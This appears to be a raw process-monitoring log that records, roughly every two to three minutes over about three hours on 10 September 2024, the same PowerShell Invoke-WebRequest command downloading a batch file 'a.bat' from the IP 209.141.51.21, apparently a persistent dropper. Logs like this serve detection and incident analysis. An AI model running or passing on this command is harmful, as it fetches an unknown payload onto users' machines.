C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:51:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:51:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:53:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:54:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:56:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:56:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:58:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 18:59:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:01:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:01:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:03:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:04:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:06:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:06:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:08:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:09:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:11:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:11:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:13:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:14:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:16:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:16:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:18:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:19:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:21:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:21:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:23:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:24:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:26:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:26:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:28:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:29:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:31:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:31:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:33:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:34:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:36:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:36:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:38:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:39:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:41:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:41:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:43:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:44:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:46:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:46:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:48:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:49:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:51:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:51:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:53:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:54:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:56:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:56:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:58:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 19:59:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:01:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:01:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:03:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:04:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:06:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:06:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:08:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:09:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:11:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:11:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:14:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:14:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:16:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:16:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:19:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:19:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:21:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:21:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:24:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:24:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:26:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:26:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:29:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:29:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:31:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:31:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:34:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:34:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:36:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:37:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:39:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:39:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:41:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:42:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:44:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:44:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:46:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:47:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:49:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:49:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:51:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:52:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:54:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:54:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:56:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:57:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:59:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 20:59:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:01:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:02:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:04:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:04:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:06:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:07:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:09:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:09:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:11:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:12:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:14:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:14:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:16:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:17:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:19:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:19:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:21:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:22:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:24:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:24:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:26:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:27:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:29:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:29:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:31:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:32:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:34:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:34:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:36:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:37:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:39:21 NOTIFY: PROCESS 